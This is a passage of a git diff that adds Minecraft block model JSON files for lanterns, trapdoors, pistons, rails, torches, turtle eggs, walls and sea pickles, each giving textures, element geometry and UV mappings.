"texture": "#edge" }, + "south": { "uv": [ 7, 0, 9, 16 ], "texture": "#edge", "cullface": "south" }, + "west": { "uv": [ 7, 0, 0, 16 ], "texture": "#pane" }, + "east": { "uv": [ 0, 0, 7, 16 ], "texture": "#pane" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_glazed_terracotta.json b/src/assets/minecraft/models/block/template_glazed_terracotta.json new file mode 100644 index 00000000..c6574a9f --- /dev/null +++ b/src/assets/minecraft/models/block/template_glazed_terracotta.json @@ -0,0 +1,26 @@ +{ + "parent": "block/cube", + "textures": { + "particle": "#pattern" + }, + "display": { + "firstperson_righthand": { + "rotation": [ 0, 135, 0 ], + "translation": [ 0, 0, 0 ], + "scale": [ 0.40, 0.40, 0.40 ] + } + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#pattern", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#pattern", "cullface": "up" }, + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#pattern", "cullface": "north", "rotation": 90 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#pattern", "cullface": "south", "rotation": 270 }, + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#pattern", "cullface": "west", "rotation": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#pattern", "cullface": "east", "rotation": 180 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_hanging_lantern.json b/src/assets/minecraft/models/block/template_hanging_lantern.json new file mode 100644 index 00000000..fd6f3b35 --- /dev/null +++ b/src/assets/minecraft/models/block/template_hanging_lantern.json @@ -0,0 +1,50 @@ +{ + "parent": "block/block", + "textures": { + "particle": "#lantern" + }, + "elements": [ + { "from": [ 5, 1, 5 ], + "to": [ 11, 8, 11 ], + "faces": { + "down": { "uv": [ 0, 9, 6, 15 ], "texture": "#lantern"}, + "up": { "uv": [ 0, 9, 6, 15 ], "texture": "#lantern" }, + "north": { "uv": [ 0, 2, 6, 9 ], "texture": "#lantern" }, + "south": { "uv": [ 0, 2, 6, 9 ], "texture": "#lantern" }, + "west": { "uv": [ 0, 2, 6, 9 ], "texture": "#lantern" }, + "east": { "uv": [ 0, 2, 6, 9 ], "texture": "#lantern" } + } + }, + { "from": [ 6, 8, 6 ], + "to": [ 10, 10, 10 ], + "faces": { + "down": { "uv": [ 1, 10, 5, 14 ], "texture": "#lantern"}, + "up": { "uv": [ 1, 10, 5, 14 ], "texture": "#lantern" }, + "north": { "uv": [ 1, 0, 5, 2 ], "texture": "#lantern" }, + "south": { "uv": [ 1, 0, 5, 2 ], "texture": "#lantern" }, + "west": { "uv": [ 1, 0, 5, 2 ], "texture": "#lantern" }, + "east": { "uv": [ 1, 0, 5, 2 ], "texture": "#lantern" } + } + }, + { + "from": [ 6.5, 11, 8 ], + "to": [ 9.5, 15, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45}, + "shade": false, + "faces": { + "north": { "uv": [ 11, 1, 14, 5 ], "texture": "#lantern" }, + "south": { "uv": [ 11, 1, 14, 5 ], "texture": "#lantern" } + } + }, + { + "from": [ 8, 10, 6.5 ], + "to": [ 8, 16, 9.5 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45}, + "shade": false, + "faces": { + "west": { "uv": [ 11, 6, 14, 12 ], "texture": "#lantern" }, + "east": { "uv": [ 11, 6, 14, 12 ], "texture": "#lantern" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_lantern.json b/src/assets/minecraft/models/block/template_lantern.json new file mode 100644 index 00000000..ce82214a --- /dev/null +++ b/src/assets/minecraft/models/block/template_lantern.json @@ -0,0 +1,49 @@ +{ + "parent": "block/block", + "textures": { + "particle": "#lantern" + }, + "elements": [ + { "from": [ 5, 0, 5 ], + "to": [ 11, 7, 11 ], + "faces": { + "down": { "uv": [ 0, 9, 6, 15 ], "texture": "#lantern", "cullface": "down" }, + "up": { "uv": [ 0, 9, 6, 15 ], "texture": "#lantern" }, + "north": { "uv": [ 0, 2, 6, 9 ], "texture": "#lantern" }, + "south": { "uv": [ 0, 2, 6, 9 ], "texture": "#lantern" }, + "west": { "uv": [ 0, 2, 6, 9 ], "texture": "#lantern" }, + "east": { "uv": [ 0, 2, 6, 9 ], "texture": "#lantern" } + } + }, + { "from": [ 6, 7, 6 ], + "to": [ 10, 9, 10 ], + "faces": { + "up": { "uv": [ 1, 10, 5, 14 ], "texture": "#lantern" }, + "north": { "uv": [ 1, 0, 5, 2 ], "texture": "#lantern" }, + "south": { "uv": [ 1, 0, 5, 2 ], "texture": "#lantern" }, + "west": { "uv": [ 1, 0, 5, 2 ], "texture": "#lantern" }, + "east": { "uv": [ 1, 0, 5, 2 ], "texture": "#lantern" } + } + }, + { + "from": [ 6.5, 9, 8 ], + "to": [ 9.5, 11, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45}, + "shade": false, + "faces": { + "north": { "uv": [ 11, 1, 14, 3 ], "texture": "#lantern" }, + "south": { "uv": [ 11, 1, 14, 3 ], "texture": "#lantern" } + } + }, + { + "from": [ 8, 9, 6.5 ], + "to": [ 8, 11, 9.5 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45}, + "shade": false, + "faces": { + "west": { "uv": [ 11, 10, 14, 12 ], "texture": "#lantern" }, + "east": { "uv": [ 11, 10, 14, 12 ], "texture": "#lantern" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_orientable_trapdoor_bottom.json b/src/assets/minecraft/models/block/template_orientable_trapdoor_bottom.json new file mode 100644 index 00000000..5f2ac5e4 --- /dev/null +++ b/src/assets/minecraft/models/block/template_orientable_trapdoor_bottom.json @@ -0,0 +1,18 @@ +{ "parent": "block/thin_block", + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 3, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 0, 16, 16, 0 ], "texture": "#texture" }, + "north": { "uv": [ 0, 0, 16, 3 ], "texture": "#texture", "cullface": "north" }, + "south": { "uv": [ 0, 0, 16, 3 ], "texture": "#texture", "cullface": "south" }, + "west": { "uv": [ 0, 0, 16, 3 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 0, 0, 16, 3 ], "texture": "#texture", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_orientable_trapdoor_open.json b/src/assets/minecraft/models/block/template_orientable_trapdoor_open.json new file mode 100644 index 00000000..ce447b51 --- /dev/null +++ b/src/assets/minecraft/models/block/template_orientable_trapdoor_open.json @@ -0,0 +1,18 @@ +{ + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 0, 0, 13 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 3 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 0, 3, 16, 0 ], "texture": "#texture", "cullface": "up" }, + "north": { "uv": [ 0, 16, 16, 0 ], "texture": "#texture" }, + "south": { "uv": [ 0, 16, 16, 0 ], "texture": "#texture", "cullface": "south" }, + "west": { "uv": [ 0, 0, 16, 3 ], "rotation": 90, "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 0, 3, 16, 0 ], "rotation": 90, "texture": "#texture", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_orientable_trapdoor_top.json b/src/assets/minecraft/models/block/template_orientable_trapdoor_top.json new file mode 100644 index 00000000..a437e184 --- /dev/null +++ b/src/assets/minecraft/models/block/template_orientable_trapdoor_top.json @@ -0,0 +1,18 @@ +{ + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 0, 13, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture" }, + "up": { "uv": [ 0, 16, 16, 0 ], "texture": "#texture", "cullface": "up" }, + "north": { "uv": [ 0, 0, 16, 3 ], "texture": "#texture", "cullface": "north" }, + "south": { "uv": [ 0, 0, 16, 3 ], "texture": "#texture", "cullface": "south" }, + "west": { "uv": [ 0, 0, 16, 3 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 0, 0, 16, 3 ], "texture": "#texture", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_piston.json b/src/assets/minecraft/models/block/template_piston.json new file mode 100644 index 00000000..83b4e18a --- /dev/null +++ b/src/assets/minecraft/models/block/template_piston.json @@ -0,0 +1,18 @@ +{ + "textures": { + "particle": "#side" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#side", "rotation": 180, "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#side", "cullface": "up" }, + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#platform", "cullface": "north" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "south" }, + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#side", "rotation": 270, "cullface": "west" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#side", "rotation": 90, "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_piston_head.json b/src/assets/minecraft/models/block/template_piston_head.json new file mode 100644 index 00000000..f4fcb910 --- /dev/null +++ b/src/assets/minecraft/models/block/template_piston_head.json @@ -0,0 +1,27 @@ +{ + "textures": { + "particle": "#platform" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 4 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 4 ], "texture": "#side", "cullface": "down", "rotation": 180 }, + "up": { "uv": [ 0, 0, 16, 4 ], "texture": "#side", "cullface": "up" }, + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#platform", "cullface": "north" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#unsticky" }, + "west": { "uv": [ 0, 0, 16, 4 ], "texture": "#side", "rotation": 270, "cullface": "west" }, + "east": { "uv": [ 0, 0, 16, 4 ], "texture": "#side", "rotation": 90, "cullface": "east" } + } + }, + { "from": [ 6, 6, 4 ], + "to": [ 10, 10, 20 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 4 ], "texture": "#side", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 4 ], "texture": "#side", "rotation": 270 }, + "west": { "uv": [ 16, 4, 0, 0 ], "texture": "#side" }, + "east": { "uv": [ 0, 0, 16, 4 ], "texture": "#side" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_piston_head_short.json b/src/assets/minecraft/models/block/template_piston_head_short.json new file mode 100644 index 00000000..cdbe9e12 --- /dev/null +++ b/src/assets/minecraft/models/block/template_piston_head_short.json @@ -0,0 +1,27 @@ +{ + "textures": { + "particle": "#platform" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 4 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 4 ], "texture": "#side", "cullface": "down", "rotation": 180 }, + "up": { "uv": [ 0, 0, 16, 4 ], "texture": "#side", "cullface": "up" }, + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#platform", "cullface": "north" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#unsticky" }, + "west": { "uv": [ 0, 0, 16, 4 ], "texture": "#side", "rotation": 270, "cullface": "west" }, + "east": { "uv": [ 0, 0, 16, 4 ], "texture": "#side", "rotation": 90, "cullface": "east" } + } + }, + { "from": [ 6, 6, 4 ], + "to": [ 10, 10, 16 ], + "faces": { + "down": { "uv": [ 4, 0, 16, 4 ], "texture": "#side", "rotation": 90 }, + "up": { "uv": [ 4, 0, 16, 4 ], "texture": "#side", "rotation": 270 }, + "west": { "uv": [ 16, 4, 4, 0 ], "texture": "#side" }, + "east": { "uv": [ 4, 0, 16, 4 ], "texture": "#side" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_rail_raised_ne.json b/src/assets/minecraft/models/block/template_rail_raised_ne.json new file mode 100644 index 00000000..a92e4603 --- /dev/null +++ b/src/assets/minecraft/models/block/template_rail_raised_ne.json @@ -0,0 +1,21 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#rail" + }, + "elements": [ + { "from": [ 0, 9, 0 ], + "to": [ 16, 9, 16 ], + "rotation": { + "origin": [ 8, 9, 8 ], + "axis": "x", + "angle": 45, + "rescale": true + }, + "faces": { + "down": { "uv": [ 0, 16, 16, 0 ], "texture": "#rail" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#rail" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_rail_raised_sw.json b/src/assets/minecraft/models/block/template_rail_raised_sw.json new file mode 100644 index 00000000..dddc3562 --- /dev/null +++ b/src/assets/minecraft/models/block/template_rail_raised_sw.json @@ -0,0 +1,21 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#rail" + }, + "elements": [ + { "from": [ 0, 9, 0 ], + "to": [ 16, 9, 16 ], + "rotation": { + "origin": [ 8, 9, 8 ], + "axis": "x", + "angle": -45, + "rescale": true + }, + "faces": { + "down": { "uv": [ 0, 16, 16, 0 ], "texture": "#rail" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#rail" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_seagrass.json b/src/assets/minecraft/models/block/template_seagrass.json new file mode 100644 index 00000000..6ac40c92 --- /dev/null +++ b/src/assets/minecraft/models/block/template_seagrass.json @@ -0,0 +1,41 @@ +{ + "parent": "block/block", + "ambientocclusion": false, + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 0, 0, 4 ], + "to": [ 16, 16, 4 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 } + } + }, + { "from": [ 12, 0, 0 ], + "to": [ 12, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 } + } + }, + { "from": [ 4, 0, 0 ], + "to": [ 4, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 } + } + }, + { "from": [ 0, 0, 12 ], + "to": [ 16, 16, 12 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_single_face.json b/src/assets/minecraft/models/block/template_single_face.json new file mode 100644 index 00000000..d23e5f20 --- /dev/null +++ b/src/assets/minecraft/models/block/template_single_face.json @@ -0,0 +1,13 @@ +{ + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 0 ], + "faces": { + "north": { "texture": "#texture", "cullface":"north" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_three_turtle_eggs.json b/src/assets/minecraft/models/block/template_three_turtle_eggs.json new file mode 100644 index 00000000..c6ce2d8a --- /dev/null +++ b/src/assets/minecraft/models/block/template_three_turtle_eggs.json @@ -0,0 +1,43 @@ +{ + "parent": "block/block", + "textures": { + "particle": "#all" + }, + "elements": [ + { "from": [ 5, 0, 4 ], + "to": [ 9, 7, 8 ], + "faces": { + "down": { "uv": [ 0, 0, 4, 4 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 0, 0, 4, 4 ], "texture": "#all" }, + "north": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" }, + "south": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" }, + "west": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" }, + "east": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" } + } + }, + { + "from": [ 1, 0, 7 ], + "to": [ 5, 5, 11 ], + "faces": { + "down": { "uv": [ 6, 7, 10, 11 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 6, 7, 10, 11 ], "texture": "#all" }, + "north": { "uv": [ 10, 10, 14, 15 ], "texture": "#all" }, + "south": { "uv": [ 10, 10, 14, 15 ], "texture": "#all" }, + "west": { "uv": [ 10, 10, 14, 15 ], "texture": "#all" }, + "east": { "uv": [ 10, 10, 14, 15 ], "texture": "#all" } + } + }, + { + "from": [ 11, 0, 7 ], + "to": [ 14, 4, 10 ], + "faces": { + "down": { "uv": [ 5, 0, 8, 3 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 5, 0, 8, 3 ], "texture": "#all" }, + "north": { "uv": [ 8, 3, 11, 7 ], "texture": "#all" }, + "south": { "uv": [ 8, 3, 11, 7 ], "texture": "#all" }, + "west": { "uv": [ 8, 3, 11, 7 ], "texture": "#all" }, + "east": { "uv": [ 8, 3, 11, 7 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_torch.json b/src/assets/minecraft/models/block/template_torch.json new file mode 100644 index 00000000..aef12fcf --- /dev/null +++ b/src/assets/minecraft/models/block/template_torch.json @@ -0,0 +1,32 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#torch" + }, + "elements": [ + { "from": [ 7, 0, 7 ], + "to": [ 9, 10, 9 ], + "shade": false, + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#torch" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#torch" } + } + }, + { "from": [ 7, 0, 0 ], + "to": [ 9, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#torch" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#torch" } + } + }, + { "from": [ 0, 0, 7 ], + "to": [ 16, 16, 9 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#torch" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#torch" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_torch_wall.json b/src/assets/minecraft/models/block/template_torch_wall.json new file mode 100644 index 00000000..1a6d297e --- /dev/null +++ b/src/assets/minecraft/models/block/template_torch_wall.json @@ -0,0 +1,35 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#torch" + }, + "elements": [ + { "from": [ -1, 3.5, 7 ], + "to": [ 1, 13.5, 9 ], + "rotation": { "origin": [ 0, 3.5, 8 ], "axis": "z", "angle": -22.5 }, + "shade": false, + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#torch" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#torch" } + } + }, + { "from": [ -1, 3.5, 0 ], + "to": [ 1, 19.5, 16 ], + "rotation": { "origin": [ 0, 3.5, 8 ], "axis": "z", "angle": -22.5 }, + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#torch" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#torch" } + } + }, + { "from": [ -8, 3.5, 7 ], + "to": [ 8, 19.5, 9 ], + "rotation": { "origin": [ 0, 3.5, 8 ], "axis": "z", "angle": -22.5 }, + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#torch" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#torch" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_trapdoor_bottom.json b/src/assets/minecraft/models/block/template_trapdoor_bottom.json new file mode 100644 index 00000000..2b6c8daa --- /dev/null +++ b/src/assets/minecraft/models/block/template_trapdoor_bottom.json @@ -0,0 +1,18 @@ +{ "parent": "block/thin_block", + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 3, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture" }, + "north": { "uv": [ 0, 16, 16, 13 ], "texture": "#texture", "cullface": "north" }, + "south": { "uv": [ 0, 16, 16, 13 ], "texture": "#texture", "cullface": "south" }, + "west": { "uv": [ 0, 16, 16, 13 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 0, 16, 16, 13 ], "texture": "#texture", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_trapdoor_open.json b/src/assets/minecraft/models/block/template_trapdoor_open.json new file mode 100644 index 00000000..b301619c --- /dev/null +++ b/src/assets/minecraft/models/block/template_trapdoor_open.json @@ -0,0 +1,18 @@ +{ + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 0, 0, 13 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [ 0, 13, 16, 16 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 0, 16, 16, 13 ], "texture": "#texture", "cullface": "up" }, + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "south" }, + "west": { "uv": [ 16, 0, 13, 16 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 13, 0, 16, 16 ], "texture": "#texture", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_trapdoor_top.json b/src/assets/minecraft/models/block/template_trapdoor_top.json new file mode 100644 index 00000000..036aeb7b --- /dev/null +++ b/src/assets/minecraft/models/block/template_trapdoor_top.json @@ -0,0 +1,18 @@ +{ + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 0, 13, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "up" }, + "north": { "uv": [ 0, 16, 16, 13 ], "texture": "#texture", "cullface": "north" }, + "south": { "uv": [ 0, 16, 16, 13 ], "texture": "#texture", "cullface": "south" }, + "west": { "uv": [ 0, 16, 16, 13 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 0, 16, 16, 13 ], "texture": "#texture", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_turtle_egg.json b/src/assets/minecraft/models/block/template_turtle_egg.json new file mode 100644 index 00000000..b42b49ea --- /dev/null +++ b/src/assets/minecraft/models/block/template_turtle_egg.json @@ -0,0 +1,19 @@ +{ + "parent": "block/block", + "textures": { + "particle": "#all" + }, + "elements": [ + { "from": [ 5, 0, 4 ], + "to": [ 9, 7, 8 ], + "faces": { + "down": { "uv": [ 0, 0, 4, 4 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 0, 0, 4, 4 ], "texture": "#all" }, + "north": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" }, + "south": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" }, + "west": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" }, + "east": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_two_turtle_eggs.json b/src/assets/minecraft/models/block/template_two_turtle_eggs.json new file mode 100644 index 00000000..a5faf35d --- /dev/null +++ b/src/assets/minecraft/models/block/template_two_turtle_eggs.json @@ -0,0 +1,31 @@ +{ + "parent": "block/block", + "textures": { + "particle": "#all" + }, + "elements": [ + { "from": [ 5, 0, 4 ], + "to": [ 9, 7, 8 ], + "faces": { + "down": { "uv": [ 0, 0, 4, 4 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 0, 0, 4, 4 ], "texture": "#all" }, + "north": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" }, + "south": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" }, + "west": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" }, + "east": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" } + } + }, + { + "from": [ 1, 0, 7 ], + "to": [ 5, 5, 11 ], + "faces": { + "down": { "uv": [ 6, 7, 10, 11 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 6, 7, 10, 11 ], "texture": "#all" }, + "north": { "uv": [ 10, 10, 14, 15 ], "texture": "#all" }, + "south": { "uv": [ 10, 10, 14, 15 ], "texture": "#all" }, + "west": { "uv": [ 10, 10, 14, 15 ], "texture": "#all" }, + "east": { "uv": [ 10, 10, 14, 15 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_wall_post.json b/src/assets/minecraft/models/block/template_wall_post.json new file mode 100644 index 00000000..c1c40e47 --- /dev/null +++ b/src/assets/minecraft/models/block/template_wall_post.json @@ -0,0 +1,19 @@ +{ + "textures": { + "particle": "#wall" + }, + "elements": [ + { "from": [ 4, 0, 4 ], + "to": [ 12, 16, 12 ], + "faces": { + "down": { "texture": "#wall", "cullface": "down" }, + "up": { "texture": "#wall", "cullface": "up" }, + "north": { "texture": "#wall" }, + "south": { "texture": "#wall" }, + "west": { "texture": "#wall" }, + "east": { "texture": "#wall" } + }, + "__comment": "Center post" + } + ] +} diff --git a/src/assets/minecraft/models/block/template_wall_side.json b/src/assets/minecraft/models/block/template_wall_side.json new file mode 100644 index 00000000..301854c8 --- /dev/null +++ b/src/assets/minecraft/models/block/template_wall_side.json @@ -0,0 +1,18 @@ +{ + "textures": { + "particle": "#wall" + }, + "elements": [ + { "from": [ 5, 0, 0 ], + "to": [ 11, 14, 8 ], + "faces": { + "down": { "texture": "#wall", "cullface": "down" }, + "up": { "texture": "#wall" }, + "north": { "texture": "#wall", "cullface": "north" }, + "west": { "texture": "#wall" }, + "east": { "texture": "#wall" } + }, + "__comment": "wall" + } + ] +} diff --git a/src/assets/minecraft/models/block/template_wall_side_tall.json b/src/assets/minecraft/models/block/template_wall_side_tall.json new file mode 100644 index 00000000..379a9e3c --- /dev/null +++ b/src/assets/minecraft/models/block/template_wall_side_tall.json @@ -0,0 +1,17 @@ +{ + "textures": { + "particle": "#wall" + }, + "elements": [ + { "from": [ 5, 0, 0 ], + "to": [ 11, 16, 8 ], + "faces": { + "down": { "texture": "#wall", "cullface": "down" }, + "up": { "texture": "#wall", "cullface": "up"}, + "north": { "texture": "#wall", "cullface": "north" }, + "west": { "texture": "#wall" }, + "east": { "texture": "#wall" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/terracotta.json b/src/assets/minecraft/models/block/terracotta.json new file mode 100644 index 00000000..abdc18d7 --- /dev/null +++ b/src/assets/minecraft/models/block/terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/thin_block.json b/src/assets/minecraft/models/block/thin_block.json new file mode 100644 index 00000000..1adb58ab --- /dev/null +++ b/src/assets/minecraft/models/block/thin_block.json @@ -0,0 +1,19 @@ +{ "parent": "block/block", + "display": { + "thirdperson_righthand": { + "rotation": [ 75, 45, 0 ], + "translation": [ 0, 2.5, 2], + "scale": [ 0.375, 0.375, 0.375 ] + }, + "firstperson_righthand": { + "rotation": [ 0, 45, 0 ], + "translation": [ 0, 4.2, 0 ], + "scale": [ 0.40, 0.40, 0.40 ] + }, + "firstperson_lefthand": { + "rotation": [ 0, 225, 0 ], + "translation": [ 0, 4.2, 0 ], + "scale": [ 0.40, 0.40, 0.40 ] + } + } +} diff --git a/src/assets/minecraft/models/block/three_dead_sea_pickles.json b/src/assets/minecraft/models/block/three_dead_sea_pickles.json new file mode 100644 index 00000000..8eff63de --- /dev/null +++ b/src/assets/minecraft/models/block/three_dead_sea_pickles.json @@ -0,0 +1,65 @@ +{ + "parent": "block/block", + "textures": { + "particle": "block/sea_pickle", + "all": "block/sea_pickle" + }, + "elements": [ + { "from": [ 6, 0, 9 ], + "to": [ 10, 6, 13 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 11 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 11 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 11 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 11 ], "texture": "#all" } + } + }, + { + "from": [ 6, 5.95, 9 ], + "to": [ 10, 5.95, 13 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 2, 0, 2 ], + "to": [ 6, 4, 6 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 9 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 9 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 9 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 9 ], "texture": "#all" } + } + }, + { + "from": [ 2, 3.95, 2 ], + "to": [ 6, 3.95, 6 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 8, 0, 4 ], + "to": [ 12, 6, 8 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 